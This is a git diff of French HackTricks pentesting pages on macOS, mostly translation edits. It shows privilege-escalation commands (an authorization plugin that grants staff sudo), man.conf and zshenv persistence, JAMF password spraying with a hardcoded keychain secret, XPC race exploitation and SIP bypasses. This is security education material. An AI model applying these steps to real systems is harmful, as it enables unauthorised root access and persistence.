**Déplacez** le bundle à l'emplacement à charger:
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
Enfin, ajoutez la **règle** pour charger ce Plugin :
```bash
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
Déclenchez-le avec:
```bash
security authorize com.asdf.asdf
```
Et ensuite, le groupe **staff devrait avoir un accès sudo** (lire `/etc/sudoers` pour confirmer).
### Man.conf
Writeup : [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle)
* Mais vous devez être root et l'utilisateur doit utiliser man
@ -1306,9 +1358,9 @@ Writeup : [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit
* Nécessite les droits root
* **`/private/etc/man.conf`** : Chaque fois que man est utilisé
#### Description et exploitation
#### Description et Exploit
Le fichier de configuration **`/private/etc/man.conf`** indique le binaire/script à utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exécutable peut être modifié de sorte que chaque fois que l'utilisateur utilise man pour lire des documents, une porte dérobée est exécutée.
Le fichier de configuration **`/private/etc/man.conf`** indique le binaire/script à utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exécutable peut être modifié de sorte qu chaque fois que l'utilisateur utilise man pour lire des documents, une porte dérobée est exécutée.
Par exemple, définissez dans **`/private/etc/man.conf`** :
```
@ -1332,8 +1384,8 @@ touch /tmp/manconf
#### Emplacement
* **`/etc/apache2/httpd.conf`**
* Nécessite les droits root
* Déclencheur: lorsque Apache2 démarre
* Nécessite les privilèges root
* Déclenchement: lorsque Apache2 démarre
#### Description et Exploit

View file

@ -43,7 +43,7 @@ JAMF peut exécuter des **scripts personnalisés** (scripts développés par l'a
#### Auto-inscription JAMF
Allez sur une page telle que `https://<nom-de-l'entreprise>.jamfcloud.com/enroll/` pour voir si **l'auto-inscription est activée**. Si c'est le cas, il peut **demander des identifiants d'accès**.
Allez sur une page telle que `https://<nom-de-l'entreprise>.jamfcloud.com/enroll/` pour voir si l'**auto-inscription est activée**. Si c'est le cas, il peut **demander des identifiants d'accès**.
Vous pouvez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque de pulvérisation de mots de passe.
@ -53,7 +53,7 @@ De plus, après avoir trouvé les identifiants appropriés, vous pourriez être
#### Authentification de l'appareil JAMF
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** entre tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
@ -116,7 +116,7 @@ Et aussi sur les **protocoles réseau** **"spéciaux"** de **MacOS** :
## Active Directory
Dans certains cas, vous constaterez que l'ordinateur **MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **répertorier** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
Dans certains cas, vous constaterez que l'ordinateur **MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **recenser** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)

View file

@ -22,7 +22,7 @@ Les extensions du noyau (Kexts) sont des **packages** avec une extension **`.kex
* Lorsque vous **entrez en mode de récupération**, les **extensions du noyau doivent être autorisées** à être chargées :
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* L'extension du noyau doit être **signée avec un certificat de signature de code du noyau**, qui ne peut être **accordé que par Apple**. Qui examinera en détail l'entreprise et les raisons pour lesquelles elle est nécessaire.
* L'extension du noyau doit également être **notarisée**, Apple pourra la vérifier pour les logiciels malveillants.
@ -38,7 +38,7 @@ Dans Catalina, c'était comme ça : Il est intéressant de noter que le processu
* Il communiquera avec **`kextd`** en utilisant un **service Mach**.
2. **`kextd`** vérifiera plusieurs choses, comme la **signature**
* Il communiquera avec **`syspolicyd`** pour **vérifier** si l'extension peut être **chargée**.
3. **`syspolicyd`** demandera **l'autorisation à l'utilisateur** si l'extension n'a pas été chargée précédemment.
3. **`syspolicyd`** demandera à l'**utilisateur** s'il n'a pas déjà chargé l'extension.
* **`syspolicyd`** rapportera le résultat à **`kextd`**
4. **`kextd`** pourra enfin **demander au noyau de charger** l'extension

View file

@ -21,7 +21,7 @@ Il crée deux tubes nommés par processus .Net dans [dbgtransportsession.cpp#L12
Ainsi, si vous accédez au répertoire **`$TMPDIR`** de l'utilisateur, vous pourrez trouver des **fifos de débogage** que vous pourrez utiliser pour déboguer des applications .Net :
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
La fonction [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) gérera la communication depuis un débogueur.

View file

@ -58,7 +58,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
```
Vous pouvez charger ce fichier dans [https://hexed.it/](https://hexed.it/) et rechercher la chaîne précédente. Après cette chaîne, vous pouvez voir en ASCII un chiffre "0" ou "1" indiquant si chaque fusible est désactivé ou activé. Modifiez simplement le code hexadécimal (`0x30` est `0` et `0x31` est `1`) pour **modifier les valeurs des fusibles**.
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
Notez que si vous essayez de **remplacer** le binaire du **`Framework Electron`** à l'intérieur d'une application avec ces octets modifiés, l'application ne se lancera pas.
@ -258,7 +258,7 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -5,7 +5,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -188,6 +188,8 @@ return 1;
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
```
{% tab title="myipc_client.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
@ -220,9 +222,8 @@ int main(int argc, char *argv[]) {
return 0;
}
```
{% endtab %}
{% tab title="myipc_server.c" %}
{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -247,6 +248,9 @@ printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
{% endtab %}
{% endtabs %}
### Analyse binaire
Comme de nombreux binaires utilisent désormais MIG pour exposer des ports mach, il est intéressant de savoir comment **identifier l'utilisation de MIG** et les **fonctions exécutées par MIG** avec chaque ID de message.
@ -277,7 +281,7 @@ rax = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (l'ID de départ)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// Si - sinon, si le si renvoie false, tandis que le sinon appelle la bonne fonction et renvoie true
// Si - sinon, le si renvoie false, tandis que le sinon appelle la bonne fonction et renvoie true
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@ -378,10 +382,10 @@ return r0;
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**, le premier élément de la structure est l'adresse où la fonction est implémentée et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et cela sera l'**adresse de la fonction** qui sera appelée :
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
<details>

View file

@ -20,7 +20,7 @@ Lorsqu'une application a besoin d'**exécuter des actions en tant qu'utilisateur
### ShouldAcceptNewConnection toujours YES
Un exemple peut être trouvé dans [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Dans `App/AppDelegate.m`, il essaie de **se connecter** à **HelperTool**. Et dans `HelperTool/HelperTool.m`, la fonction **`shouldAcceptNewConnection`** ne **vérifiera pas** les exigences indiquées précédemment. Elle renverra toujours YES :
Un exemple peut être trouvé dans [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Dans `App/AppDelegate.m`, il essaie de **se connecter** au **HelperTool**. Et dans `HelperTool/HelperTool.m`, la fonction **`shouldAcceptNewConnection`** ne **vérifiera pas** les exigences indiquées précédemment. Elle renverra toujours YES :
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -37,18 +37,18 @@ newConnection.exportedObject = self;
return YES;
}
```
Pour plus d'informations sur la configuration appropriée de cette vérification:
Pour plus d'informations sur la configuration appropriée de cette vérification :
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
{% endcontent-ref %}
### Droits d'application
### Droits de l'application
Cependant, il y a une **autorisation en cours lorsqu'une méthode du HelperTool est appelée**.
Cependant, une **autorisation est accordée lorsqu'une méthode du HelperTool est appelée**.
La fonction **`applicationDidFinishLaunching`** de `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\
Ensuite, il essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights`:
La fonction **`applicationDidFinishLaunching`** du fichier `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\
Ensuite, elle essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights` :
```objectivec
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
@ -286,7 +286,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
Si vous trouvez la fonction : **`[HelperTool checkAuthorization:command:]`**, il est probable que le processus utilise le schéma mentionné précédemment pour l'autorisation :
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ainsi, si cette fonction appelle des fonctions telles que `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, elle utilise [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).

View file

@ -85,7 +85,7 @@ Pour effectuer l'attaque :
3. Cela signifie que nous pouvons envoyer des messages XPC à `diagnosticd`, mais que tous les **messages que `diagnosticd` envoie vont à `smd`**.
* Pour `smd`, nos messages et ceux de `diagnosticd` arrivent sur la même connexion.
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
4. Nous demandons à **`diagnosticd`** de **commencer la surveillance** de notre (ou de tout autre) processus et nous **envoyons des messages de routine 1004 à `smd`** (pour installer un outil privilégié).
5. Cela crée une condition de concurrence qui doit atteindre une fenêtre très spécifique dans `handle_bless`. Nous devons obtenir l'appel à `xpc_connection_get_pid` pour renvoyer l'ID de notre propre processus, car l'outil auxiliaire privilégié se trouve dans notre bundle d'application. Cependant, l'appel à `xpc_connection_get_audit_token` à l'intérieur de la fonction `connection_is_authorized` doit utiliser le jeton d'audit de `diagnosticd`.
@ -95,7 +95,7 @@ Pour effectuer l'attaque :
Comme mentionné précédemment, le gestionnaire d'événements pour les connexions XPC n'est jamais exécuté plusieurs fois simultanément. Cependant, les **messages de réponse XPC sont traités différemment**. Deux fonctions existent pour envoyer un message qui attend une réponse :
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`, dans ce cas, le message XPC est reçu et analysé sur la file d'attente spécifiée.
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, dans ce cas, le message XPC est reçu et analysé sur la file d'attente de dispatch actuelle.
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, dans ce cas, le message XPC est reçu et analysé sur la file d'attente de répartition actuelle.
Par conséquent, les **paquets de réponse XPC peuvent être analysés pendant l'exécution d'un gestionnaire d'événements XPC**. Bien que `_xpc_connection_set_creds` utilise un verrouillage, cela empêche uniquement l'écrasement partiel du jeton d'audit, il ne verrouille pas l'objet de connexion entier, ce qui permet de **remplacer le jeton d'audit entre l'analyse** d'un paquet et l'exécution de son gestionnaire d'événements.
@ -108,11 +108,11 @@ Pour ce scénario, nous aurions besoin de :
Nous attendons qu'_A_ nous envoie un message qui attend une réponse (1), au lieu de répondre, nous prenons le port de réponse et l'utilisons pour un message que nous envoyons à _B_ (2). Ensuite, nous envoyons un message qui utilise l'action interdite et nous espérons qu'il arrive simultanément avec la réponse de _B_ (3).
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Problèmes de découverte
Nous avons passé beaucoup de temps à essayer de trouver d'autres instances, mais les conditions rendaient la recherche difficile, que ce soit de manière statique ou dynamique. Pour rechercher des appels asynchrones à `xpc_connection_get_audit_token`, nous avons utilisé Frida pour accrocher cette fonction afin de vérifier si la trace arrière inclut `_xpc_connection_mach_event` (ce qui signifie qu'elle n'est pas appelée à partir d'un gestionnaire d'événements). Mais cela ne trouve que les appels dans le processus auquel nous sommes actuellement accrochés et des actions qui sont activement utilisées. L'analyse de tous les services mach accessibles dans IDA/Ghidra était très chronophage, surtout lorsque les appels impliquaient le cache partagé dyld. Nous avons essayé de scripter cela pour rechercher les appels à `xpc_connection_get_audit_token` accessibles à partir d'un bloc soumis à l'aide de `dispatch_async`, mais l'analyse des blocs et des appels passant dans le cache partagé dyld rendait cela difficile aussi. Après avoir passé un certain temps sur cela, nous avons décidé qu'il serait préférable de soumettre ce que nous avions.
Nous avons passé beaucoup de temps à essayer de trouver d'autres instances, mais les conditions rendaient la recherche difficile, que ce soit de manière statique ou dynamique. Pour rechercher des appels asynchrones à `xpc_connection_get_audit_token`, nous avons utilisé Frida pour accrocher cette fonction afin de vérifier si la trace arrière inclut `_xpc_connection_mach_event` (ce qui signifie qu'elle n'est pas appelée à partir d'un gestionnaire d'événements). Mais cela ne trouve que les appels dans le processus auquel nous sommes actuellement accrochés et des actions qui sont activement utilisées. L'analyse de tous les services mach accessibles dans IDA/Ghidra était très chronophage, surtout lorsque les appels impliquaient le cache partagé dyld. Nous avons essayé de scripter cela pour rechercher les appels à `xpc_connection_get_audit_token` accessibles à partir d'un bloc soumis à l'aide de `dispatch_async`, mais l'analyse des blocs et des appels passant par le cache partagé dyld rendait cela difficile aussi. Après avoir passé un certain temps sur cela, nous avons décidé qu'il serait préférable de soumettre ce que nous avions.
## La solution <a href="#la-solution" id="la-solution"></a>
Finalement, nous avons signalé le problème général et le problème spécifique dans `smd`. Apple l'a corrigé uniquement dans `smd` en remplaçant l'appel à `xpc_connection_get_audit_token` par `xpc_dictionary_get_audit_token`.

View file

@ -85,7 +85,7 @@ Cette liste d'autorisations **keychain** regroupe les groupes d'accès auxquels
```
### **`kTCCServiceSystemPolicyAllFiles`**
Donne les permissions d'accès complet au disque, l'une des permissions les plus élevées de TCC que vous pouvez avoir.
Donne des permissions d'accès complet au disque, l'une des permissions les plus élevées de TCC que vous pouvez avoir.
### **`kTCCServiceAppleEvents`**
@ -99,13 +99,13 @@ Permet de modifier l'attribut `NFSHomeDirectory` d'un utilisateur qui modifie so
Permet de modifier les fichiers à l'intérieur des bundles d'applications (à l'intérieur de app.app), ce qui est désactivé par défaut.
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
## Moyen
### `com.apple.security.cs.allow-jit`
Cette autorisation permet de créer de la mémoire qui est à la fois inscriptible et exécutable en passant le drapeau `MAP_JIT` à la fonction système `mmap()`. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
Cette autorisation permet de créer de la mémoire qui est accessible en écriture et exécutable en passant le drapeau `MAP_JIT` à la fonction système `mmap()`. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`

View file

@ -68,12 +68,12 @@ SIP impose également plusieurs autres restrictions. Par exemple, il interdit le
### Prix
Si un attaquant parvient à contourner SIP, voici ce qu'il peut obtenir :
Si un attaquant parvient à contourner SIP, voici ce qu'il gagnera :
* Lire les e-mails, les messages, l'historique de Safari... de tous les utilisateurs
* Accorder des autorisations pour la webcam, le microphone ou autre chose (en écrivant directement dans la base de données TCC protégée par SIP)
* Persistance : il pourrait enregistrer un logiciel malveillant dans un emplacement protégé par SIP et même l'administrateur ne pourra pas le supprimer. Il pourrait également altérer MRT.
* Facilité de chargement d'extensions de noyau (d'autres protections hardcore sont en place pour cela).
* Facilité de chargement des extensions de noyau (d'autres protections hardcore sont en place pour cela).
### Packages d'installation
@ -89,11 +89,13 @@ Une faille potentielle est que si un fichier est spécifié dans **`rootless.con
L'entitlement **`com.apple.rootless.install.heritable`** permet de contourner SIP
{% endhint %}
[**Des chercheurs de cet article de blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) ont découvert une vulnérabilité dans le mécanisme de protection de l'intégrité du système (SIP) de macOS, appelée vulnérabilité 'Shrootless'. Cette vulnérabilité concerne le démon `system_installd`, qui possède un entitlement, **`com.apple.rootless.install.heritable`**, qui permet à l'un de ses processus enfants de contourner les restrictions du système de fichiers de SIP.
[**Des chercheurs de cet article de blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) ont découvert une vulnérabilité dans le mécanisme de protection de l'intégrité du système (SIP) de macOS, appelée vulnérabilité 'Shrootless'. Cette vulnérabilité concerne le démon **`system_installd`**, qui possède un entitlement, **`com.apple.rootless.install.heritable`**, qui permet à l'un de ses processus enfants de contourner les restrictions du système de fichiers de SIP.
Les chercheurs ont découvert que lors de l'installation d'un package signé par Apple (.pkg), **`system_installd`** exécute tous les scripts **post-installation** inclus dans le package. Ces scripts sont exécutés par le shell par défaut, **`zsh`**, qui exécute automatiquement les commandes du fichier **`/etc/zshenv`**, s'il existe, même en mode non interactif. Ce comportement pourrait être exploité par des attaquants : en créant un fichier `/etc/zshenv` malveillant et en attendant que `system_installd` invoque `zsh`, ils pourraient effectuer des opérations arbitraires sur l'appareil.
Le démon **`system_installd`** installera des packages qui ont été signés par **Apple**.
De plus, il a été découvert que **`/etc/zshenv` pourrait être utilisé comme une technique d'attaque générale**, pas seulement pour contourner SIP. Chaque profil utilisateur dispose d'un fichier `~/.zshenv`, qui se comporte de la même manière que `/etc/zshenv` mais ne nécessite pas de permissions root. Ce fichier pourrait être utilisé comme mécanisme de persistance, se déclenchant à chaque démarrage de `zsh`, ou comme mécanisme d'élévation de privilèges. Si un utilisateur administrateur élève ses privilèges en utilisant `sudo -s` ou `sudo <commande>`, le fichier `~/.zshenv` serait déclenché, permettant ainsi une élévation effective vers le compte root.
Les chercheurs ont découvert que lors de l'installation d'un package signé par Apple (.pkg), **`system_installd`** exécute tous les scripts **post-installation** inclus dans le package. Ces scripts sont exécutés par le shell par défaut, **`zsh`**, qui exécute automatiquement les commandes du fichier **`/etc/zshenv`**, s'il existe, même en mode non interactif. Ce comportement pourrait être exploité par des attaquants : en créant un fichier `/etc/zshenv` malveillant et en attendant que **`system_installd` invoque `zsh`**, ils pourraient effectuer des opérations arbitraires sur l'appareil.
De plus, il a été découvert que **`/etc/zshenv` pourrait être utilisé comme une technique d'attaque générale**, pas seulement pour contourner SIP. Chaque profil utilisateur a un fichier `~/.zshenv`, qui se comporte de la même manière que `/etc/zshenv` mais ne nécessite pas de permissions root. Ce fichier pourrait être utilisé comme mécanisme de persistance, se déclenchant à chaque démarrage de `zsh`, ou comme mécanisme d'élévation de privilèges. Si un utilisateur administrateur élève ses privilèges en utilisant `sudo -s` ou `sudo <commande>`, le fichier `~/.zshenv` serait déclenché, permettant ainsi une élévation de privilèges effective.
Dans [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/), il a été découvert que le même processus **`system_installd`** pouvait encore être utilisé de manière abusive car il plaçait le script **post-installation dans un dossier au nom aléatoire protégé par SIP à l'intérieur de `/tmp`**. Le problème est que **`/tmp` lui-même n'est pas protégé par SIP**, il était donc possible de **monter** une **image virtuelle dessus**, puis l'**installateur** y placerait le **script post-installation**, **démonterait** l'image virtuelle, **recréerait** tous les **dossiers** et **ajouterait** le **script d'installation** avec la **charge utile** à exécuter.
@ -112,8 +114,8 @@ Les instantanés scellés du système sont une fonctionnalité introduite par Ap
Voici un aperçu plus détaillé :
1. **Système immuable** : Les instantanés scellés du système rendent le volume système de macOS "immuable", ce qui signifie qu'il ne peut pas être modifié. Cela empêche toute modification non autorisée ou accidentelle du système qui pourrait compromettre la sécurité ou la stabilité du système.
2. **Mises à jour du logiciel système** : Lorsque vous installez des mises à jour ou des mises à niveau de macOS, macOS crée un nouvel instantané du système. Le volume de démarrage de macOS utilise ensuite **APFS (Apple File System)** pour basculer vers ce nouvel instantané. Tout le processus d'application des mises à jour devient plus sûr et plus fiable, car le système peut toujours revenir à l'instantané précédent en cas de problème lors de la mise à jour.
3. **Séparation des données** : En conjonction avec le concept de séparation des volumes de données et du système introduit dans macOS Catalina, la fonctionnalité des instantanés scellés du système garantit que toutes vos données et paramètres sont stockés sur un volume "**Data**" séparé. Cette séparation rend vos données indépendantes du système, ce qui simplifie le processus de mise à jour du système et renforce la sécurité du système.
2. **Mises à jour du logiciel système** : Lorsque vous installez des mises à jour ou des mises à niveau de macOS, macOS crée un nouvel instantané du système. Le volume de démarrage de macOS utilise ensuite **APFS (Apple File System)** pour passer à ce nouvel instantané. Tout le processus d'application des mises à jour devient plus sûr et plus fiable, car le système peut toujours revenir à l'instantané précédent en cas de problème lors de la mise à jour.
3. **Séparation des données** : En conjonction avec le concept de séparation des volumes de données et du système introduit dans macOS Catalina, la fonctionnalité des instantanés scellés du système garantit que toutes vos données et paramètres sont stockés sur un volume "**Data**" séparé. Cette séparation rend vos données indépendantes du système, ce qui simplifie le processus de mise à jour du système et améliore la sécurité du système.
N'oubliez pas que ces instantanés sont gérés automatiquement par macOS et n'occupent pas d'espace supplémentaire sur votre disque, grâce aux capacités de partage d'espace d'APFS. Il est également important de noter que ces instantanés sont différents des **instantanés Time Machine**, qui sont des sauvegardes accessibles par l'utilisateur de l'ensemble du système.
@ -123,32 +125,33 @@ La commande **`diskutil apfs list`** affiche les **détails des volumes APFS** e
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
| ====================================================
| Référence du conteneur APFS : disk3
| Taille (plafond de capacité) : 494384795648 B (494,4 Go)
| Capacité utilisée par les volumes : 219214536704 B (219,2 Go) (44,3 % utilisé)
| Capacité non allouée : 275170258944 B (275,2 Go) (55,7 % libre)
| APFS Container Reference: disk3
| Size (Capacity Ceiling): 494384795648 B (494.4 GB)
| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)
| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)
| |
| +-&#x3C; Stockage physique disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| +-&#x3C; Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| | -----------------------------------------------------------
| | Disque de stockage physique APFS : disk0s2
| | Taille : 494384795648 B (494,4 Go)
| | APFS Physical Store Disk: disk0s2
| | Size: 494384795648 B (494.4 GB)
| |
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
| | ---------------------------------------------------
<strong>| | Volume APFS (Rôle) : disk3s1 (Système)
</strong>| | Nom : Macintosh HD (insensible à la casse)
<strong>| | Point de montage : /System/Volumes/Update/mnt1
</strong>| | Capacité
<strong>| | APFS Volume Disk (Role): disk3s1 (System)
</strong>| | Name: Macintosh HD (Case-insensitive)
